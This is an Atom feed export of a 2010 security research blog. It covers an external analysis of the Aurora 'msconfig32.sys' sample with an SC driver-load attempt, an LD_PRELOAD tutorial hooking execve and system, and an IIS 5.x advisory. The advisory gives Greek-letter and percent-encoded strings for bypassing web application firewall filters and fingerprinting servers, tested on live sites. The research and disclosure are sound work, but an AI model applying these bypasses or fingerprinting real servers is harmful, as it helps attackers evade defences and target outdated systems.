again :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S6OdRI9i8uI/AAAAAAAAAGQ/U8JvQgmFYv0/s1600-h/Screen+shot+2010-03-03+at+10.22.20+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="258" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S6OdRI9i8uI/AAAAAAAAAGQ/U8JvQgmFYv0/s400/Screen+shot+2010-03-03+at+10.22.20+PM.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;We don't see that kind of stuff, yet we continue to see 0x20 instead of parts where there should be 0x00...&lt;br /&gt;Weird. Maybe it's an exe instead? Let's not give up! Let's try to load it and see if the driver can be loaded as-is. I've chosen to use SCM (Service Control Manager) built in mechanism to load drivers, instead of writing a loader myself. Driver can be loaded in lots of ways, including replacing other sys file, quick registration in windows registry or other ways (You can find some more information in the &lt;a href="https://www.amazon.com/dp/0321294319?tag=books-2009-20&amp;amp;camp=213381&amp;amp;creative=390973&amp;amp;linkCode=as4&amp;amp;creativeASIN=0321294319&amp;amp;adid=1DT2CFX2PZZBXE27FB6P&amp;amp;"&gt;Rootkit - Subverting The Windows Kernel&lt;/a&gt; book - page 40 : The quick and dirty way to load a driver, or pages 46,47. Enjoy).&lt;br /&gt;I've decided to use SCM, and load the driver using SC. So let's do it :&lt;br /&gt;First I've done a re-check, to see that I havn't changed the file, The file I needed was msconfig32.sys from Aurura attack with the following md5 : &lt;span dir="ltr"&gt;7a62295f70642fedf0d5a5637feb7986), After I've done that, I've written a sc command to load the driver from : c:\msconfig32.sys.&lt;/span&gt;&lt;br /&gt;&lt;span dir="ltr"&gt;The command and the checks are attached in the following picture :&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S6Of-g22y7I/AAAAAAAAAGY/nw7a1-n2UAs/s1600-h/Screen+shot+2010-03-03+at+10.11.49+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="260" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S6Of-g22y7I/AAAAAAAAAGY/nw7a1-n2UAs/s400/Screen+shot+2010-03-03+at+10.11.49+PM.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span dir="ltr"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The specified driver is invalid?! How about that? The file is certainly not a valid sys driver (as is, it might be changed a bit to be fit as a .sys file). So what is it?&lt;br /&gt;Trying the regular approach of opening the file in PEExplorer/IDA/Olly/PE Parsers/... wouldn't work, as the file is quite damaged in a way the headers are totally corrupted and the way the file behave something is under there, but it's not a regular .sys file.&lt;br /&gt;So... Let's try to mess with it a bit, maybe XORing again with 0x20, gave nothing. Other ideas I've tried (tried so many I can't even write them all), didn't go well. The file appeared to be curroupted.&lt;br /&gt;&lt;br /&gt;Trying to load it as a dll, or opening it under .exe failed as-well.&lt;br /&gt;&lt;br /&gt;I did try to play with it a bit more, and found that CERT had issued an advisory in which they have written the following stuff :&lt;br /&gt;&lt;table border="1" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;ad_1_.jpg&lt;/td&gt;&lt;td&gt;&lt;/td&gt; &lt;td&gt;MD5: CD36A3071A315C3BE6AC3366D80BB59C Byte Size: 34816&lt;/td&gt;&lt;td&gt;Appears to be packed executable. Significant portion of file is XOR'd0x95&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;There's another file, with .jpg, and he's not a jpg. The file is XOR'd with 0x95. Does it ring a bell? Yes it does. I think it's the same kind of method used, but this time, they have called their file .sys instead.&lt;br /&gt;Or, The file was being downloaded, step after step, and till they finish the download they first create a file, filled with 0x20s and they overwrite it with the real file. That could have explained the size of it (4kb). (*on another note, if you have the ad_1_.jpg file, please send it to me, I'm really looking for this file and can't really find anyone who has it*).&lt;br /&gt;&lt;br /&gt;So I've checked, is the file compressed? How can I check without knowing what kind of compression is used? The easiest thing is to take the payload of the PE file, and write it to another file. After I've done that, I tried to compress it again, and guess what? The file, after compression, was bigger then the original. Meaning the payload-part was compressed.&lt;br /&gt;Still couldn't figure out what it contained. I will continue to research it and hopefully soon I will find something :). Too bad it wasn't a real driver though...&lt;br /&gt;&lt;br /&gt;I hope you liked my external analysis, because I couldn't examine the file (as it was "corrupted" or at-least not in a valid format). sometimes it's all that can be done. Although, now we know that this file wasn't a real driver (but still, might have contained one within - compressed).&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;Itzhak Avraham&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-7319698314796565580?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/7319698314796565580/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/03/aurora-sys-file-used-in-attack-external.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/7319698314796565580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/7319698314796565580'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/03/aurora-sys-file-used-in-attack-external.html' title='Aurora .sys file used in the attack - External file analysis'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Kde3g35OnUQ/S6OaqDwGm5I/AAAAAAAAAF4/WisoQw6W8Wg/s72-c/Screen+shot+2010-03-03+at+10.21.20+PM.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-1705962008117547418</id><published>2010-03-15T19:57:00.003+02:00</published><updated>2011-09-30T08:40:55.508+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hook'/><category scheme='http://www.blogger.com/atom/ns#' term='function hooking'/><category scheme='http://www.blogger.com/atom/ns#' term='ld_preload'/><category scheme='http://www.blogger.com/atom/ns#' term='logging system'/><title type='text'>hooking for fun and profit 2 - logging function calls</title><content type='html'>Well... I've hooked the function calls to log my calls to system()... but wait... what does system() do?&lt;br /&gt;&lt;br /&gt;Let's create a simple program that runs argv[1] as system(%s) and run strace on it :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/S55QFcIppZI/AAAAAAAAAFQ/dqT165n7qC4/s1600-h/1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/S55QFcIppZI/AAAAAAAAAFQ/dqT165n7qC4/s320/1.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;We can see that we don't see a real call to any *exec* functions. But that's not true isn't it? We're missing something.... Clone() is like a fork, let's see what it does by following it with "-f"&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/S55QX3M9WkI/AAAAAAAAAFY/oprnmOYRNtQ/s1600-h/2.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/S55QX3M9WkI/AAAAAAAAAFY/oprnmOYRNtQ/s400/2.gif" width="252" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Looks much better... now let's look at the bottom of it:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S55QmK_1_xI/AAAAAAAAAFg/T29qIXgsakE/s1600-h/3.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S55QmK_1_xI/AAAAAAAAAFg/T29qIXgsakE/s320/3.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;YES! finally! An execve function had been called! We wanted to see how it was called!&lt;br /&gt;But that's a bit boring, isn't it? Let's create a function that hooks the execve function, as-well as system function, and start a new shell and we'll trace what happens from the time you click on bash (with all the init scripts..), till the end of its execution...&lt;br /&gt;&lt;br /&gt;Hooking the function of execve and system :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/S55Sz9hVFHI/AAAAAAAAAFo/l2P8ONUswiE/s1600-h/4.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/S55Sz9hVFHI/AAAAAAAAAFo/l2P8ONUswiE/s320/4.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Let's create that file using echo "" &amp;gt; /tmp/system_calls.log and let's compile it using&lt;br /&gt;gcc -shared -fPIC -o libexechook.so sys_exec.c -ldl&lt;br /&gt;&lt;br /&gt;Now! It's the fun part! Let's do the following command to start the hook :&lt;br /&gt;export LD_PRELOAD="./libexechook.so"; bash&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let's run what happens at the start of the bash :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S55UgPap3iI/AAAAAAAAAFw/lmqq566I4rE/s1600-h/5.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S55UgPap3iI/AAAAAAAAAFw/lmqq566I4rE/s320/5.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;(all except the last command...)&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;I hope that now you're less afraid of hooking functions. It's very profitable for some purposes.&lt;br /&gt;The reason I've decided to post this, is because I haven't seen much of hooking examples which are not using parameters / or only one. Might be useful to someone, one day.&lt;br /&gt;Enjoy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-1705962008117547418?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/1705962008117547418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/03/hooking-for-fun-and-profit-2-logging.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1705962008117547418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1705962008117547418'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/03/hooking-for-fun-and-profit-2-logging.html' title='hooking for fun and profit 2 - logging function calls'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Kde3g35OnUQ/S55QFcIppZI/AAAAAAAAAFQ/dqT165n7qC4/s72-c/1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-4839954609311122731</id><published>2010-03-11T15:36:00.005+02:00</published><updated>2011-09-30T08:36:41.789+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hook'/><category scheme='http://www.blogger.com/atom/ns#' term='fun fun fun'/><category scheme='http://www.blogger.com/atom/ns#' term='function logging'/><title type='text'>Linux functions hooking using LD_PRELOAD - for fun and profit</title><content type='html'>&amp;nbsp;Well... I had to log some calls for a specific function which calls some binary.&lt;br /&gt;So, instead of doing it in the proper way, I've replaced the binary to call another binary and then to switch between them. It did work, 90% of the time, but some race conditions sometimes made it not effective.&lt;br /&gt;That's when I've decided to use LD_PRELOAD and do a proper hook instead of binary replacing with shell script, which caused race conditions in about 10% of calls to that binary.&lt;br /&gt;&lt;br /&gt;Well? It's sort of the same for any function. Take the function and its variables from the declaration do whatever you want and call the original function (if you want to have the original functionality).&lt;br /&gt;&lt;br /&gt;Easy to write, and much better solution&lt;br /&gt;&lt;br /&gt;Here's a piece of example&lt;a href="http://www.technovelty.org/code/c/override.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S5zJngHjzjI/AAAAAAAAAFI/vY_Xmqk4YZQ/s1600-h/site.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="524" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S5zJngHjzjI/AAAAAAAAAFI/vY_Xmqk4YZQ/s640/site.gif" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;taken from : &lt;a href="http://www.technovelty.org/code/c/override.html"&gt;http://www.technovelty.org/code/c/override.html&lt;/a&gt;. Life saver!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lesson learned, don't be lazy, do a proper hooks to avoid race conditions :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-4839954609311122731?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/4839954609311122731/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/03/easy-hooking-for-logging-purposes-with.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/4839954609311122731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/4839954609311122731'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/03/easy-hooking-for-logging-purposes-with.html' title='Linux functions hooking using LD_PRELOAD - for fun and profit'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Kde3g35OnUQ/S5zJngHjzjI/AAAAAAAAAFI/vY_Xmqk4YZQ/s72-c/site.gif' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-335544546362184063</id><published>2010-02-13T15:58:00.004+02:00</published><updated>2010-02-13T23:43:14.415+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IIS 6.0'/><category scheme='http://www.blogger.com/atom/ns#' term='IIS 5.1'/><category scheme='http://www.blogger.com/atom/ns#' term='WAF'/><category scheme='http://www.blogger.com/atom/ns#' term='IIS 5.0'/><category scheme='http://www.blogger.com/atom/ns#' term='IIS'/><category scheme='http://www.blogger.com/atom/ns#' term='Information Disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><category scheme='http://www.blogger.com/atom/ns#' term='Encodings'/><category scheme='http://www.blogger.com/atom/ns#' term='WAF bypass'/><title type='text'>Microsoft IIS 5.0,5.1 possibly 6.0 information disclosure and self decoding behaviour</title><content type='html'>On 31/12/2009 I've contacted Microsoft regarding the following issue which:&lt;br /&gt;&lt;div class="MsoNormal"&gt;&amp;nbsp;&lt;b&gt;Affects &lt;/b&gt;: IIS 5.0, IIS5.1, Maybe 6.0 as-well. Didn't work for &amp;gt;= 7.0.&lt;/div&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Information :&lt;/b&gt;&lt;/u&gt; &lt;br /&gt;&lt;div class="MsoNormal"&gt;I’ve done some fuzzing in-order to find some weaknesses at one application I was testing for fun, but in the middle of doing this process I’ve found a neatsecurity bug which is not in common knowledge and that’s what makes it a risk.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Let's create a weird circumstances where this could become handy : Let’s say a content-filtering program wants to blockanything that goes into a gif file “&lt;b&gt;blockedkeyword.gif&lt;/b&gt;" in upload directory (i.eI’ve seen this in for example dotdefender Web-Application Firewall),&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;WAF's job would be blocking anything that translates into blockedkeyword.gif (in UTF8, UTF7, etc...)&lt;/div&gt;&lt;div class="MsoNormal"&gt;If a word would translate to blockedkeyword.gif, WAF's job would be dropping the request.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;But if we’lluse special characters which are not in common-knowledge to block, we canbypass this one and many other mechanism.&lt;/div&gt;&lt;div class="MsoNormal"&gt;Instead of writing &lt;br /&gt;&lt;textarea cols="50" rows="2"&gt;&amp;lt;img src="http://www.siterunningiis5.1.com/upload/blockedkeyword.gif"&amp;gt;&lt;/textarea&gt;&lt;br /&gt;we can write &lt;br /&gt;&lt;textarea cols="50" rows="2"&gt;&amp;lt;img src="http://www.siterunningiis5.1.com/upload/blockedkeywΩrd.gif"&amp;gt;&lt;/textarea&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;i.e put the HTML codeabove in firefox or IE8 and you'll find out that for IIS had decided to translate on his own the Greek-Letter OMEGA to "o". Why would IIS do that? I have no idea.&lt;br /&gt;It also works for other letters such as &amp;amp;tau; for "t", &amp;amp;kappa; for "k" etc... &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;Usually pentesters/hackers will look for special ways to write requests such as : Unicode, or other encodings. But it shouldn’t be, in any way, thatIIS decides to translate &amp;amp;Omega; or other greek letters to plain English.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Impact&lt;/b&gt;: Under certain terms, it might lead to :&lt;/div&gt;a.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-size-adjust: none; font-size: 7pt; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Information Disclosure&lt;/b&gt;(tells which version of the website if site had decided to remove it from headers) - I will try to contact tenable to create a plugin out of this information described here.&lt;br /&gt;b.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-size-adjust: none; font-size: 7pt; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Bypass security restrictions&lt;/b&gt;.&lt;br /&gt;c.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-size-adjust: none; font-size: 7pt; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Bypass security mechanism&lt;/b&gt;checks for common letters such as “t” in every encoding, but not as &amp;amp;tau;which shouldn’t be translated to “t” at server side.&lt;br /&gt;d.&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-size-adjust: none; font-size: 7pt; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;More research could lead to other findings with this issue such as low chances of : DirectoryTraversal/Remote Code Execution/Other information disclosure : Might lead todirectory traversal/security bypass (it depends if there’s another unknown letters who translates to “.” or “/” or “\\”).&lt;br /&gt;&lt;br /&gt;I havn't had any success in exploiting this issue in using malformedclient-side code (i.e : xss) since it doesn't parse like real t's or 'o's for client side code havn't yet checked impact on Server side code. Filenames restrictions does seem to bevulnerable to this issue though.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Real life example : Big commerce website such as ebay does have a reason to hide its server version (running IIS or Apache, which version, etc...). Although this is not the case this post can confirm you're not being mislead by a wrong header (which someone put there for letting attackers failed at the first attempt and anyone would be ready when they try more attempts).&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S3apnOZTeXI/AAAAAAAAAEg/o1HDElWm8rU/s1600-h/ebaysite.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S3apnOZTeXI/AAAAAAAAAEg/o1HDElWm8rU/s320/ebaysite.JPG" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Can you see that logo in the top left of ebay?&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/S3apzzXbrnI/AAAAAAAAAEo/soLaTnMB2mQ/s1600-h/logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/S3apzzXbrnI/AAAAAAAAAEo/soLaTnMB2mQ/s320/logo.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;Let's abuse the logo's name in-order to get relevant information about this server... is it running an out-dated IIS or new IIS/APACHE?&lt;/div&gt;&lt;div style="text-align: left;"&gt;Image path is : http://pics.ebaystatic.com/aw/pics/logos/logoEbay_x45.gif let's change the "o"s for &amp;amp;Omega;s and try again after building the following custom html page :&lt;/div&gt;&lt;textarea cols="50" rows="3"&gt;&amp;lt; html&amp;gt;&amp;lt;img src="http://pics.ebaystatic.com/aw/pics/logos/lΩgΩEbay_x45.gif"&amp;gt;&lt;/textarea&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;I just checked it and it looks like they have changed to Apache or newer IIS, well, After contacting ebay they have changed the server pretty fast. Luckily I got screenshot to point this out&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S3asNbTUK1I/AAAAAAAAAEw/fWgUCIW3FmE/s1600-h/ebay_runs_on_not_updated_IIS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="318" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S3asNbTUK1I/AAAAAAAAAEw/fWgUCIW3FmE/s640/ebay_runs_on_not_updated_IIS.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;If you want to try it out you can also check out : with this image as-well from a very popular news website &lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&amp;lt;imgsrc="&lt;a href="http://www.ynet.co.il/images/CEN%CF%84R%CE%B1L_wl%CE%A9g%CE%A9.gif" target="_blank"&gt;http://www.&lt;span class="il"&gt;ynet&lt;/span&gt;.co.il/&lt;wbr&gt;&lt;/wbr&gt;images/CEN&amp;amp;tau;R&amp;amp;alpha;L_wl&amp;amp;&lt;wbr&gt;&lt;/wbr&gt;Omega;g&amp;amp;Omega;.gif&lt;/a&gt;"&amp;gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Few decodings you can use now :&lt;/div&gt;&lt;div class="MsoNormal"&gt;t &amp;lt;== &amp;amp;tau; ==&amp;gt;&lt;br /&gt;%CF%84&lt;br /&gt;%%43%46%%38%34&lt;br /&gt;%%%43%46%38%34&lt;br /&gt;&lt;br /&gt;o &amp;lt;== &amp;amp;Omega; ==&amp;gt;&lt;br /&gt;%CE%A9&lt;br /&gt;%%43%47%%41%39&lt;br /&gt;%%%43%47%41%39&lt;/div&gt;Or just the alpha presentation of them, i.e : &amp;amp;Tau; &amp;amp;alpha; &amp;amp;Omega; etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Vendor Contacted (Microsoft)&lt;/b&gt; : 31/12/2009 &lt;br /&gt;&lt;b&gt;Vendor response&lt;/b&gt; :"After investigation we have determined that this functionality is bydesign. ...&lt;br /&gt;&amp;nbsp;Character encoding issues are complex and servers behave in differentways. &amp;nbsp;If a particular Web Application Framework cant deal withdifferent encodings the general consensus is that it is the WAF's faultdue to the fact that it is trying to make a security guarantee that itcan not live up to".&lt;br /&gt;&lt;b&gt;My response to Vendor response&lt;/b&gt; : &lt;br /&gt;This problem can be used for information disclosure. I know itworks for IIS 5.0, and IIS 5.1....&lt;br /&gt;It doesn't work on IIS &amp;gt;= 7.0.&lt;br /&gt;If that was planned then why this functionality had been removed from later versions?&lt;br /&gt;I don't think it's the WAF's fault since no-one is aware of this issue (WAF's writers)... &lt;br /&gt;Thisbug is definitely not critical or harmful, but it can be dangerous insome cases (i.e : telling the user that the server is running old IISto try some exploits on it which he wouldn't have tried before becauseadmin removed server header, or bypassing some applications with thisencoding)."&lt;br /&gt;&lt;br /&gt;I got better advisories which I'm waiting for other vendors to patch before I publish. I've published this because Microsoft will not release a patch (probably) for this issue, although it did make EBAY to switch from IIS to APACHE after few days of contacting them. I wonder if that got any impact on Microsoft.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-335544546362184063?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/335544546362184063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/02/microsoft-iis-5051-possibly-60.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/335544546362184063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/335544546362184063'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/02/microsoft-iis-5051-possibly-60.html' title='Microsoft IIS 5.0,5.1 possibly 6.0 information disclosure and self decoding behaviour'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Kde3g35OnUQ/S3apnOZTeXI/AAAAAAAAAEg/o1HDElWm8rU/s72-c/ebaysite.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-5295690087539898528</id><published>2010-02-03T23:39:00.002+02:00</published><updated>2010-04-11T00:25:11.242+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='aurora'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='technical information'/><category scheme='http://www.blogger.com/atom/ns#' term='rasmon.dll'/><category scheme='http://www.blogger.com/atom/ns#' term='msconfig32.sys'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='china'/><category scheme='http://www.blogger.com/atom/ns#' term='APT'/><category scheme='http://www.blogger.com/atom/ns#' term='presentation'/><title type='text'>China vs. Google presentation at Microsoft R&amp;D</title><content type='html'>Hey there,&lt;br /&gt;I know it's not like the real presentation with the demonstrations and such.&lt;br /&gt;Also, please note that the Pie of people is just for demonstartion and the numbers doesn't really mean anything.&lt;br /&gt;&lt;br /&gt;Enjoy the slides : &lt;a href="http://www.ihackbanme.com/presentation/Google%20Vs.%20China%20Presentation.pdf"&gt;http://www.ihackbanme.com/presentation/Google Vs. China 